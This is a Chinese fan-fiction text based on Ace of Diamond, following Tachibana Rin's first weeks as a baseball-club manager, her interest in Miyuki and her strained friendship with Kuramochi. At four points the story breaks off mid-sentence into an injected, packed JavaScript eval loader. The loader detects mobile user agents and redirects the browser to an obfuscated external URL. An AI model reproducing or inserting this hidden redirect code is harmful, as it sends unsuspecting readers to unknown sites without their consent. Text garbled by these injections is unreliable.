“看吧,御幸同学在红白赛的表现很突出,真的很有趣。”橘铃毫不掩饰,大大方方地说道,“比赛中神态自若的样子,又打出了一年级的第一支安打,和在班上的表现完全不一样。” “诶,你和御幸同班啊。”贵子学姐推开食堂的门,看向橘铃的眼神充满钦佩,“他确实是个出色的捕手,但他个性很一般呢。” 什么,竟然人尽皆知,也是,他看起来就不是会掩饰自己的人。 “是呢。”橘铃点头认同道,“所以我想领略更多棒球的魅力。” “那就需要你自己用你自己的双眼来确认了。” “食堂平时都有阿姨在做菜,我们偶尔会帮帮忙。今天幸子她们去场内帮忙了,我们就在这里帮忙吧。”贵子走到后厨,“部员们吃晚饭的时间是七点。” 七点?晚上七点?橘铃抬头看了一下墙上的时钟,现在是五点,离吃饭还有两个小时:“吃饭的时间这么晚吗?” “是哦,大家都很努力的。”贵子低下了头,捏住门把手的手指微微用力,“为了进入甲子园。” 近几年青道好像都没有进入甲子园,部员们这么刻苦的训练,甲子园是个这么难进的地方吗?青道不是棒球强校吗? 她没问出口,对于这个世界,她有太多的不理解。 “今天我们来做一些饭团吧,这是给大家补充能量。”贵子学姐拿出食材,“刚开始可能会做不好,熟练了就好了。” 不,不可能做不好。 做饭是需要看天赋的,而橘铃刚好有这个天赋点,她刚做出第一个,贵子学姐就吃惊地捂住了嘴巴。 “完美,简直太完美了,做的比我好得多!” “嘿嘿。”橘铃小心翼翼地掂了掂手里的饭团,轻轻地放在盘子里,“经常有帮家里人做事啦,熟能生巧。” “喔——这个是新的经理吗?之前没见过呢。”陆陆续续有训练完毕的人回到食堂,看见贵子旁边的橘铃,热情招呼道,“你好。” “你好哦,我是一年级橘铃。”橘铃没停下手中的动作,“请多多指教。” “诶,好可爱。” 橘铃报以礼貌又完美的微笑,又是熟悉的评价。 这里的棒球部和别的地方没什么区别,不免就是一些相同的夸赞和礼貌,她完全知道如何应付。 无趣,她低下头捏了捏手里软软的饭团,就在这时,她余光里瞥见了两个熟悉的身影。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088390|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 终于回来了。 “喂,仓持,不是我看错了吧,那是谁啊。” 御幸和仓持结伴走回食堂,便看见了和别人说着话的橘铃。 “真的假的,她是经理吗,经理申请不是已经结束了吗?” 御幸注意着仓持的表情,若无其事地说:“怕不是为了谁来的吧?” 这句话让仓持浑身一僵。 他原本懒懒散散的身躯挺直了起来,下意识说道:“可能是对棒球有兴趣了吧。” 为什么?他以为橘铃会选择别的社团,她不是一直对棒球无感吗?就算看了上次那个红白赛,她也就来看过一次,不对,她最近在忙数学竞赛,难道真的是对棒球产生兴趣了吗? 还是像御幸说的,她是为了谁来的? “诶,那不是你们班的橘铃吗?她是经理啊,之前没看到她呢。”两人齐刷刷回头,川上站在两人身后。 “你认识她?”仓持说道。 川上眨了眨眼睛,对这个问题感到奇怪:“她不是才代表学校去参加数学竞赛了吗,一年级的话不认识她才奇怪,你们是同一个班的,应该会更熟一点吧。” 说着,三人走到了橘铃和藤原贵子面前。 看见是熟悉的人,橘铃招呼道:“仓持,御幸,这位是川上同学是吗?晚上好啊,今天是我当见习经理的第一天。” 川上受宠若惊地说道:“啊,你好。”橘铃竟然会认识他? 仓持和御幸面面相觑:“见习经理?”他们没听说过经理还有见习的。 “因为我递交申请的时候时间已经过了,所以现在是见习经理。”橘铃端起做好的饭团递给三人,“要尝尝吗?随机口味。” 三人的注意很快便被精致的饭团吸引,仓持问道:“都是你做的?” “是的,不要嫌弃哦。” 嫌弃……怎么会。仓持心想,率先伸出手,信誓旦旦地拿起中间一个饭团:“我猜这个是鲑鱼口味的。” 御幸也随手拿起了一个,只剩川上还在犹豫:“学长们还没吃吧?” 橘铃用下巴指了指二三年级聚集的地方:“学长们已经分过一盘了,这是新的一盘,没关系啦。” 闻言,川上这才小心翼翼地拿起一个:“谢谢你,橘,我不客气了。” 另外两个人早已不客气地吃了起来。 “好甜。”御幸咀嚼的动作忽然停滞,他仔细品味了嘴里的味道,皱紧了眉头,“这怎么是甜的?” 三人齐刷刷看向他手上的饭团。 始作俑者笑嘻嘻地说道:“恭喜你,幸运boy,拿到了唯一一个甜饭团呢。材料包完了,还剩一点饭,就撒了点白糖进去,味道还不赖吧。” “……”御幸千辛万苦露出一个苦笑,他低声说道,“还不错。” 看御幸的态度有些勉强,橘铃这才反应过来:“你不爱吃甜的?” “一般般吧。”御幸又咬了一口,含糊道。 倒霉的男人。橘铃正思索着怎么办,却见仓持朝御幸伸出手说道:“要不给我吃吧,我最喜欢吃白糖饭团了。” “啊?”御幸低头看了看自己手上的饭团,夸张说道:“我吃过的你还要啊?我们关系好像还没到那种程度吧!还是说你不会……” 仓持绷紧了额角,他咬牙切齿说道:“那你自己吃完!” 一只纤细的手伸了过来,橘铃笑意盈盈地说道:“不好意思,御幸,看来你是今天的那个倒霉boy,这里还有别的口味。” 御幸下意识紧了紧手,而那只手从容不迫地从他手里接过了饭团,丝毫容不得他抗拒。 他抬眼,终于认真地看清了那少女的脸,少女冲他微微一笑。 御幸心中有种奇怪的预感。 不妙。 5. 夏日 “川上!还有御幸和仓持那小子,一直站在那里干嘛呢,快过来!”一声洪亮的吼声让几人一哆嗦,橘铃抬眼看去,一个肥胖的学长坐在角落,他的面前堆着山一样高的米饭。 川上努力咽下最后一口饭团,面前的御幸和仓持已经不见踪影。 那两人不知何时已打好饭坐在了桌子上。 “……”被抓住的川上不幸地坐在了东学长身边。 他呆滞地看着面前山一样高的饭,后悔自己刚刚先吃了饭团。 东学长满意地使劲拍了拍川上的背:“你太瘦了,得多吃点。” 真是可怕的大嗓门,橘铃摇了摇头,川上明显一副已逝去的表情,她对着走回来贵子说道:“学姐辛苦了。” 贵子把空盘子放回台上,低声解释道:“那位是炙手可热的东清国学长,三年级还没毕业,已经很多职棒队伍在邀请他了。” “职棒?” 刚迈入高一的橘铃,猛地听到这句话,怔愣了一下。 这个词汇太遥远了,听起来是比全国数学竞赛还要高端的存在。 青道的棒球部有这么厉害的人,那么能加入棒球部的其他人也是不差,他们都有机会能走向职棒的吧? 她掠过那两个坐在一起贱兮兮笑着的男生,他们两好像看起来没那么不靠谱了。 “那个是我们的正捕手,泷川·克里斯·优,他的爸爸阿尼曼鲁以前是职棒队员,现在是搞笑艺人。” “阿尼曼鲁,我知道他,这是他儿子啊?”橘铃之所以知道阿尼曼鲁,是因为家里人会经常放跟他有关的综艺,她有时候会跟着看看。 克里斯吗? 她的目光投向那个高大的少年,克里斯正和别人说着话,脸上带着温和的笑容。 “看起来是个温柔的人,很难想象阿尼曼鲁是他爸爸,感觉性格完全不同。”这么说着,橘铃耳边仿佛又响起了阿尼曼鲁在节目里咋咋呼呼的声音。 克里斯似乎感觉到了她的目光,他看向橘铃,点头示意。 “大家都很温柔。”贵子脸色微红,“这里真的是个很好的地方,铃,希望你会爱上这里。” 不用爱上这里,如果顺利的话,她会爱上这里的一个人。 ** “克里斯学长,今天还是由我来记录比赛和你的配球。” 正准备去训练场的克里斯闻言看向了声音来源,那个刚来没多久的一年级经理,橘铃。 “好的,辛苦了。”克里斯笑道,“现在这件事都是你做了吗?对棒球应该很熟悉了吧。” “是的,学姐好像也觉得轻松呢。”橘铃压了压头上的帽子,答道,“比以前熟悉多了。” 刚开始,她问出的问题总会令别人惊掉下巴,她至今还能记得对面夸张的“诶——”,随着时间的推移,她对棒球越发熟悉,工作也得心应手。 连学姐们头疼的配球记录工作,橘铃也能快速上手,经她整理过后记录册格外清晰,高岛礼便也顺势同意她正式加入棒球部。 本来刚开始就没有要拒绝的意思。 天气越来越热了,仅仅是站着记录,橘铃都感觉有汗水不停地从额角上滑落。 要在这样的天气准备比赛,真是对身体和心灵的二重折磨啊。 仓持和御幸都加入了一军,已经是一年级中的佼佼者了。 但,在她看来天赋已经足够出众的御幸,眼前也有翻不过的大山,那就是正捕手,泷川·克里斯·优。 有他在,整个青道就如同吃了定心丸,带领投手,无敌的强肩,简直每样都在御幸之上。 偶尔她会以此来揶揄御幸,御幸却难得不会顶嘴。 他也有尊敬的人。 “克里斯学长,要水吗?我给你拿一点过来?”橘铃扯了扯领口,试图煽动周围黏腻的空气,让自己凉快一点。 夏天,讨厌夏天。 这么热的天气这群人还要在这里训练,参加各种各样的比赛,该说是傻呢,还是赞叹对棒球的热爱呢。 “不用了,比赛的时候再说吧。”克里斯说道,“比赛下午两点开始,我也要去做准备了。” “好的,克里斯学长拜拜。”橘铃拿着记录本在脸边扇了扇,收效甚微。 “好想吃冰淇淋。”她低声埋怨着,走到了自动贩卖机,“好热。” 她一下一下地戳着自动贩卖机,耳边听到了室内训练室传来沉闷的声音。 有人在投球。 她想了想,又买了两瓶水。 “今天球不错。”御幸说着,把球扔回给了川上。 川上,东学长很看好的投手,御幸对他的态度也很温柔。 “要休息一下吗?我买了两瓶水。”橘铃举着手里的水。 说完,她顿了一下,这样的场景仿佛以前也发生过。 “啊,谢谢。”川上擦了擦额头的汗,接过了橘铃手中的水,和那个时候一样,御幸呆在原地没动。 “不要吗?”橘铃走到他身边,故意用冰凉的瓶身碰了碰他的脸,御幸下意识往后躲避,“还是凉的呢。” “真是麻烦你了。”御幸举了举手里的手套,“谢了,放那边吧,我待会儿喝。” “这么客气,这不是经理应该做的吗?”橘铃把水放在了他身后,“今天川上也要上场吗?” 闻言川上的脸涨红道:“御幸只是陪我练习一下,我还没有上场的机会,还需要努力。” “别这样说嘛,川上你的球也投的很好呀。”橘铃翻了翻手中的记录,“控球能力很好呢。” “好,休息一下我们继续吧。”御幸说道。 又来了,这种感觉。 橘铃不动声色地观察着御幸,他带着护目镜,没有看向她。 日常上课说话都还好,但是只要涉及到她稍微示好,御幸的态度就会很奇怪。 不,这都不算示好了,她给出什么东西,御幸总是会迟疑一下才接过去。 好吧,她可能是对本人的好感表现的有点明显,但是她能保证,旁人绝对看不出来。 顶多作为棒球部经理比较关照成绩一般的棒球部成员罢了,嗯,小洋她关注的会少一点,但小洋会理解她的吧? “你怎么不去看仓持呢?” 冷不丁,橘铃听到御幸忽然说道。 看小洋? 她说:“我需要记录配球,小洋那边有学长帮忙收拾他,还用不着我吧。” “呜哇,他听到这句话可要伤心了。”御幸的语气听不出来情绪。 橘铃指了指他身后的水:“不过把你不要的水给他,他估计就不伤心了。” “……”御幸动作一愣,下意识回道,“我没说不要啊。” 川上站在两人中间,左看看右看看:“你们这是在干嘛呢?吵架?” “怎么会呢~”橘铃拧开瓶盖喝了一口,冰凉的水压下炎热的同时,涌起的烦躁也少了点,“今天的比赛可要注意呢,听说对面是东东京的强队,我去关心一下克里斯学长和仓持吧,你们可别练的太狠。” “好。”川上回应着,直到橘铃走掉,御幸也没说什么话。 “吵架?”川上问道。 “怎么会?”御幸耸耸肩,他拿起身后的水,感叹道,“好热。” “明明是一个班的,怎么感觉仓持和橘相处的要更融洽一点。”川上回想着他们的相处情况,“对了,橘叫仓持小洋,他们是不是以前就认识啊。” “是吧。”御幸含糊道,“他们两是这样的。” A球场在为下午的比赛做准备,部员们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088391|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便都在B球场训练。 橘铃走在太阳下,有点后悔刚刚的冲动行为。这么大的太阳,在室内训练师跟御幸互呛不比在外面晒太阳好多了! 还是说,她察觉到的逃避其实是她的多虑呢? “烦死啦!” 橘铃烦躁道,把帽子压得更低,走到了B球场,仓持在这里。 他们正在进行防守训练,是以一军为主,二军辅助的形势,仓持在球场上奋力奔跑着,不时被小凑学长毒舌两句。 “喔,橘来了,你来这么早啊。”有部员看见橘铃,招呼道。 “是啊,今天还真是热啊。”橘铃笑道,“我都有点后悔来这么早了。” “嘿,你说这话一会儿藤原就要教训你了。” 橘铃摆头道:“那不是贵子学姐还没来吗,学长你可千万别告密噢。” “我懂,偷懒的感觉我懂。”学长小声说着,生怕被远处的教练听了进去。 下午要比赛,都还训练的这么狠,真是佩服。 凉水压下的炎热被太阳一炙烤,汗水又开始流下。 橘铃内心祈祷着。 快点结束吧。 像是听到了她的心声,随着教练的叫喊,上午的训练终于落下帷幕。 “小洋。”橘铃低声叫道,溜到了仓持身边,“哇你出了好多汗。” 仓持往旁边躲了躲,尽管橘铃带着帽子,他也看见了她脸上的汗水,说:“你怎么不在板凳那里坐着?那里没有太阳,你这个汗流的比我还夸张。不是下午才比赛吗?” “嗯,反正我在家也没事啦。”橘铃生无可恋地说道,“太热了。噢,我忘记给你买水了,这里只有一瓶我喝过的。” 她晃了晃手里的瓶子:“你要吗?” “?”仓持表情差点没绷住,他瞪着橘铃,“给我喝?” “开玩笑啦,别瞪我。”橘铃收回瓶子,靠近仓持,声音软了下来,“唉好烦,我发现了一个事。” 橘铃快要挨上他,仓持低头看着少女露出的光洁的下巴,说道:“什么事?” “御幸怎么老是让我来找你啊?”橘铃抱怨道,“我说要记录他配球,他问我怎么不来关心你,真是奇怪。” 仓持内心微微一滞,御幸已经发现了吗?他没有做过什么奇怪的事吧,这是怎么发现的? 她知道了吗? 他看向喋喋不休的少女,试图从她的行为找出异样。 “他不会是在躲我吧?为什么?”橘铃抬头,金色的眼睛撞进他的眼里,“难道因为我总是在看他?” “总是在看他……?”仓持刚刚想法被这句话一下打散了,他重复着橘铃的话,皱紧了眉头,“你为什么老是在看他啊?” 这句话一问出口,仓持发现橘铃的表情变了变,她的眼神有些躲闪,他的心开始慢慢下沉。 “可能因为……”橘铃犹豫着说道,“我有点在意他?” “在意他?”仓持机械重复着。 在意他?什么意思? “哎呀,就是他和班上不一样,我感觉很有意思啦。”橘铃给了他一肘,“别问了,太奇怪了,重点不是他怎么躲我吗!” 等了许久也没等到小洋回复的橘铃疑惑抬头,仓持的脸已经看向别处了。 “怎么了小洋?” “抱歉,小铃。”仓持转过来,略带歉意说道,“我忘记了亮学长说要我训练完去找他,这件事我们下次再说好么?” “啊?等……”不容橘铃回答,仓持已经离开了原地。 橘铃捏着手里的水眨了眨眼睛,小洋会不听她说完话就走还是第一次,这是怎么了? 她叫到:“喂——那我们一会儿再说吗!” 仓持背对着她,挥了挥手,没有任何回答。 6. 烦恼 “小铃,这不是你们社团的东西吗,你怎么带回来了。”妈妈用手指夹住记分册的边角,翻动了几页,“什么东西,完全看不懂啊。” “那是比赛中的记录册啦。”橘铃坐在地上看着电视,里面正在播放阿尼曼鲁的搞笑综艺,这么久她还是没办法觉得这是克里斯学长的爸爸,于此,她一直都带着惊异的心态来看他的综艺。 “我忘记了,明天还有比赛,我再拿过去。” “忘记?”妈妈像是听到了什么好笑的词汇,“怎么回事,状态不好吗?你也会忘记什么东西。” 橘铃回头看了妈妈一眼,她说:“有点吧。” 在今天仓持抛下她走了以后,她失魂落魄站在原地好久,嘴里碎碎念着他变了。 白州经过她的身边轻飘飘落下一句:“吵架?” “怎么会。”她下意识回嘴着,她从没想过会跟小洋吵架啊。 这导致下午她记录的时候有点提不起精神,连旁边的学姐都发现了她的不对劲,万幸的是没有犯错。 在比赛散场后她终于又逮住了仓持,仓持却又说还需要加练,实在是没空说这件事。 他也在躲她。 怎么回事? 橘铃有点糊涂了。 还是说,她不应该把这件事告诉小洋?要倾诉这种事由衣应该更合适? “啊——”橘铃大叫一声,开始疯狂揉乱自己的头发。 妈妈翻记分册的手一抖,厨房里的爸爸也探出脑袋来。 “怎么了?” 橘铃长叹一口气,扁了扁嘴巴,往地上倒去:“我在棒球部有一个稍微有好感的人。” 谁知,爸爸妈妈听到这句话,两人对视一眼,异口同声说道:”小洋吗?“ “???”橘铃猛地坐起来,吓了一大跳,“不是小洋啦,话说怎么会是小洋啊?” 妈妈看了一眼忽然低落下去的爸爸,解释道:“因为你在加入棒球部的时候说了小洋也在啊,青梅竹马这不是很正常的事情吗?” “还有开学这么久了,怎么说你也该邀请小洋到家里来坐坐,能重逢在一个学校,真是缘分。” “小洋才不会喜欢我呢,我们两是纯洁的朋友关系。”橘铃托着下巴,“他满脑子只有棒球。” 妈妈不置可否:“那是哪个男生,有照片吗?” 照片。 橘铃掏出手机,打开相册,滑动着。 很好,没有。 “手机里都没有他的照片,你是真的喜欢他吗?”妈妈捂嘴笑道,“想当时我和你爸爸谈恋爱时,手机里全是他的照片。” “你也说了是谈恋爱。”橘铃不肯认输犟嘴着,她在手机里乱翻着,忽然灵机一动,翻开和由衣的聊天框,拉出对面发给她的一大堆照片。 “找到了,就是这个男生。” 妈妈接过手机,举起来眯着眼睛仔细看着,把御幸的脸拉到最大。 “五官看起来还不错。”妈妈说道,“带着眼镜啊……你喜欢这种类型?” “我看看,我看看。”爸爸好不容易从妈妈手里抢过了手机,他的重点是:“喔,他和小洋一起呢,他们关系很不错嘛?” 橘铃说:“我们同班。” 爸爸妈妈再次对视了一眼,妈妈说:“所以有什么烦恼呢?” “我感觉御幸,他叫御幸,他有点有意无意地躲我,然后今天有点太明显了,我很烦躁,就告诉小洋了。” 爸爸拿手机的手差点没拿稳,他说:“你给小洋说什么了?” “我说御幸躲我怎么办?然后小洋就开始敷衍我,也不跟我说这个事。”橘铃想着自己今天的行为,分外懊恼,“我是不是也不应该跟他说?小洋再细心也是男生,这种事找女生说会更好一点吧?” “喔——”爸爸发出意味不明的回答,便没了声响,他把手机还给了妈妈。 “这是什么意思?”橘铃拿过抱枕扔向爸爸,“我是真的很苦恼!” “哎呀。”爸爸接过抱枕放在餐椅上,笑嘻嘻说,“厨房的卫生还没打扫完,我先进去了,你们慢慢聊。” 说着,爸爸像一条滑溜的鱼,溜回了厨房,关上了门。 果然,女儿已经在外面嚷嚷道:“那你看什么看!早知道不给你看了。” “唔。”妈妈又低头看了一眼屏幕上的男孩,想了想说道:“没关系,你以前怎么做,现在就怎么做。” “这么简单?”橘铃问道。 妈妈把手机还给她:“你想要怎么样?你刚刚也说了,只是有点好感吧?” “有点好感不可以说是喜欢吗?”橘铃说。 “可以呀。”妈妈笑道,“可是你连他的照片都没有耶,是喜欢还是玩具呀?” “……” 阿尼曼鲁在电视里大笑出声,橘铃将那张御幸的照片保存保存了下来。 “小铃,你还不起床吗?今天不是还有比赛吗?” 橘铃脸埋在被子里,闷闷回道:“我知道,一会儿就起来。” 昨晚三四点才睡的她,脑袋有些昏沉,她拿起手机,一封未读的消息出现在屏幕上。 回信人是仓持,内容是:“好的下次有什么事也要找我哦。” 昨晚她还是给仓持发了line,大意是不再提这个事情了。 她没指望辛苦训练的仓持会回消息,该到睡觉的时间她也没什么困意,最后她选择了做竞赛题来缓解情绪。 这是她独特的解压方式。 卡着时间做完一套,困意已经来袭,橘铃没顾着看手机便沉沉睡去。 而简讯回复的时间是半夜12点29分。 他们平时都睡得这么晚吗?不是五点半就要起床训练? 橘铃拉开窗帘,阳光如瀑布般倾泻,刚到中午,热意已经初现。 “这才五月份,怎么就这么热了呢?”她低声喃喃道。 “我走了妈妈。”橘铃拿起记分册,冲出家门。 “吃饭!”妈妈叫着,“你不吃饭吗?” “早饭足够了,再不出门就来不及了!” 今天橘铃卡着点到了球场,今天的先发捕手竟然是御幸。 克里斯坐在板凳区,看起来准备着随时上场的样子:“橘,今天是卡点来的啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088392|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 橘在板凳区的小桌子坐下,翻开记录本借口道:“抱歉,家里有点事。” 今天好像比昨天更热了,阴凉的板凳区也阻碍不了那迎面而来的热浪。 “我可以看一下记分册吗?”克里斯说道。 橘铃递过记分册:“当然可以,克里斯学长。” 克里斯翻到昨天的记录:“你记得很仔细,打者,投球数,连配球都记录的很好,难以想象你不久前才接触棒球,如果你也参加比赛的话,或许也很不错。” “谢谢克里斯学长夸奖,可惜我不喜欢运动。”橘铃说,“我不喜欢流汗的感觉。” 克里斯微微一笑:“那这个夏天你会很难熬了,暑假期间会更热。” 对哦,为了进入甲子园,暑假需要不停打比赛,经理也要跟上。 橘铃有预感,这会是她最难熬的一个夏天。 没办法,做一件事就要做好,在她丧失兴趣,选择离开之前。 她的目光投向在外面准备的御幸,出乎意料,连仓持貌似也在准备着上场:“今天换人比赛了?” “是的。”克里斯翻到御幸上场的几场记录上,“6月下旬就要开始预选赛了,所有一军成员都会有空上场比赛,发挥的越好的教练越会看中,这是个好机会。” 橘铃敏锐地发现克里斯看的记录是御幸的几场比赛,她问道:“御幸有机会吗?” 对于这个比自己小一级的学弟,克里斯回答道:“可以说,机会很大,御幸强势的配球和他的肩膀都是有利的武器,他还是非常优秀的。” 毫不留情的夸赞,橘铃看着记分册上自己潦草的字迹:“克里斯学长不害怕御幸抢走你的2号吗?” 克里斯笑了,那棕色的眼睛似乎蕴含着利落的光:“他有那个能力,就来抢走吧,如果真的可以,我心服口服。” 在下午最热的时候,比赛开始,青道后攻。 橘铃看着场内的投球,在记分册快速记录着上。 “能看懂吗,御幸这样配球的意味。”克里斯点了点刚刚橘铃记录下来的球路。 橘铃擦了擦额头上的汗:“我大概明白。” 她按照自己的理解在球路旁边写上了原因:“是这样没错吧?对付不同的打者,球路的意义也不一样。” “御幸比学长你更喜欢正面对决。” 好热。 “是的,你很有天赋嘛。”克里斯赞许道,“不过这个地方这样来写会比较好……” 这里好像一个蒸笼。 橘铃根据着克里斯的话在记分册上更改着,将每个配球的意味都写了上去,眼前却逐渐模糊了起来。 她揉了揉眼睛,耳边克里斯低沉的嗓音像跟水混合在一起,诡异飘荡了起来,眼前开始出现细密的黑点。 怎么回事? “等下,克里斯学长,我好像有点……”她边说边站起身来,眼前的黑点加速般地占满了整个视野,尖锐的耳鸣环绕在周围,她的身体不受控制往旁边倒去。 “橘!” 失去意识前,她的唯一想法是,搞砸了,没人可以记分了。 7. 朋友 短短一瞬,橘铃睁开眼睛,周围已经围了一群人。 黄黄绿绿的蚯蚓在视线前方游动着,她撑着手想坐起来,身体又失去了平衡,周围人惊呼。 “没事,低血糖,一下就好了。”她听到自己声音干巴巴地从嘴唇里吐出,听起来像一条气若游丝的鱼。 “别乱动。”克里斯从一旁扶起她。 不管她再怎么解释,最后还是被扭送到了医疗室,后续的记录工作由学姐接手。 橘铃乖乖地坐在医疗室,手中捧着一杯温水。 只是在这种充满冷气的地方坐了一会儿,她已经觉得自己完全活过来了。 “真是狼狈。”橘铃摸了摸刚刚摔倒在地上额头上肿起来的大包,不知道自己刚刚的样子有没有被比赛的人看见。 医务室的佐藤医师瞅着橘铃额头上的包恨铁不成钢:“典型的低血糖,运动员们都还没倒下,你先倒下了,小姑娘可不能不把自己身体当回事啊!” 橘铃乖乖认错道说:“佐藤老师,我错了,今天吃的太少了,下次不会这样了。” 佐藤医生摇了摇头,问道:“你疼吗?听送你过来的克里斯说,你直接摔地上了。” 橘铃老实答道:“一点感觉也没有,感觉还能再摔一次。” “……”佐藤医生从抽屉里翻出一颗糖,递给橘铃,“吃点吧,会让你好受一点。” “谢谢医生。”橘铃接过那绿色包装的糖果,塞进嘴里,酸甜的味道在口腔里弥漫,她那郁闷的心情似乎也好了点,“休息一下我接着过去了。” 佐藤医生闻言惊讶道:“你还想过去?在这里休息吧。” 橘铃说:“我的记分工作还没做完……” 佐藤医生说:“三年级的学生会解决的,你就安心休息吧。” 不,她还是要去。 这场是御幸先发,她不想错过。 “没关系医生,我就去看看,不碍事的。” ** 板凳区的骚乱自然吸引了场地中的注意力,片冈教练冷酷地站在原地,没有叫停,比赛还是继续进行着下去。 “三人出局,换边!” 在激烈的加油声中,这一局也很快结束,场内的队员回到了板凳区。 御幸坐在板凳上,刚刚的骚乱早已结束,他不动声色打量了一下板凳区的情况,没什么特别的……克里斯学长还在,等等,记分的人变成三年级的学姐了。 橘呢? 御幸的余光再次在板凳区搜寻着,到处都找不到那位棕发少女的身影。 难道…… 御幸脱下护具,不经意问道:“克里斯学长,刚刚怎么了?” 克里斯回道:“橘晕倒了,送到医护室去了。” “晕倒?”同时出声的,还有跟在后面的仓持。 两人对视一眼。 完了。御幸心里掠过微妙的不妥,仓持却突然转身离开了。 “?”御幸来不及细想,克里斯就接着说道:“好像是低血糖,本人自己供述只吃了早饭,天气太热,不是什么大问题。” “供述……”御幸抽了抽嘴角,他侧过头,看见仓持在前面的板凳坐下,似是要准备上场。 “没什么问题就好。”他说,“克里斯学长,我今天可没打算让你上场。” 赤裸裸的挑衅,克里斯知道御幸的目标一直是正捕的位置,他并不讨厌有野心的御幸,反而说,他欣赏这样的人。 克里斯笑道:“那就要看你的表现了,御幸。” “仓持。” 仓持微微扬眉,御幸从他的脸上看不出情绪。 “克里斯学长说橘低血糖晕倒了,现在正在医务室,等会儿比赛结束了你可以去看看。” 仍旧是沉默。 这男的怎么了? 御幸低头,想要看清仓持的表情,仓持忽然抬头说道:“你怎么不去?” “……”御幸语塞,他没想到仓持这样说话,他张了张口,半天吐出一句:“你不去吗?” 什么情况这是?他跟橘吵架了?他这态度怎么像迁怒。 仓持从一旁拿上头盔,系好护具,一声不吭地走了出去。 下个打者是他。 “真是的。”御幸暗骂,一个两个都怪怪的,他只想专心打棒球啊! “你们怎么了?”在一旁的小凑亮介忽然发话,他似乎已经在旁边观察很久了。 亮介眯着眼睛微笑着,轻飘飘地说道:“队友之间可不能有什么间隙,特别是你们两个刚刚进入一军的一年生。” 明明是关心的话语,御幸硬生生从里面听出了威胁。 他也不想跟队友有间隙啊。 御幸叹了一口气:“我知道,小凑学长,你放心吧。” “喔——”场边传出惊呼声,两人转头,看见仓持扔下球棒上垒的场景。 周围人叫道:“看到没,看到没,他今天挥棒意外果断啊!” 果然是在生气吧。 真是麻烦。 “橘!” 刚走到板凳区,橘就被经理们拉着坐到了角落,夏川递过一瓶水:“你怎么又来了?医生不是说你需要好好休息吗?” “啊……”橘铃想着要怎么回答,瞥见小桌子上的三年级学姐正在聚精会神地记录着比赛情况。 确实不需要她。 橘铃苦笑一下,只好说道:“在医务室和医生待着也好无聊,还是这里更舒服一点。” 经理们面面相觑,但橘铃的表情太过真诚,她们勉强接受了这个说法。 梅本用手肘碰了碰她:“太敬业了吧,还是身体更重要哦。” “不过你来看也是对的,今天仓持表现的很好,挥棒特别果断,加上他的脚程,如果能衔接上可以又拿一分了。” 夏川点头:“比平时更加可靠。” 不会吧…… 橘铃看向场内,外面阳光正好,垒上的仓持带着头盔,阴影覆盖在脸上,不知道是不是受了她们说话的影响,今天的仓持好像更加沉稳。 应该与她无关吧。 她心不在焉地想着,御幸……不在球场内。 那他必然在板凳区了。 橘铃一边应付着经理们说话,一边开始在板凳区搜寻着御幸的身影,像是命中注定,她一眼便看见了那个她寻找的人。 他坐在前面,聚精会神地看着比赛,没有回头看过她。 橘铃感觉自己心跳慢了半拍。 “怎么了铃?”夏川察觉到橘铃的异常,顺着她的目光往外看了看,“你在看什么呢?” “没什么。”橘铃掩饰道,“感觉目光还是有点模糊,我就随便看看。” “真是的,快去休息!”梅本叫道,“难道夏季大会先倒下的人是经理吗!这也太丢脸了!” “我马上喝水!真的没事啦!” ** “御幸,你不会是准备偷懒吧!”伊佐敷那不怀好意的声音在后面响起,“大家都还在加练,你要逃跑吗?” “纯学长,说什么呢。”御幸无辜说道,“我的东西忘在食堂了,我要去拿。” 伊佐敷大声说道:“好,我就在这里看你回不回来。一个进入一军的捕手要经过每一个投手的认可!” 什么鬼,纯学长又不是投手。御幸吐槽着,转过拐角发现食堂的灯还亮着。 是谁忘记关灯了么? 拉开食堂的门,御幸在里面看见了意想不到的身影,他难以置信地看了看墙上挂着的时钟:“这几点了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088393|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你怎么还没回去?” 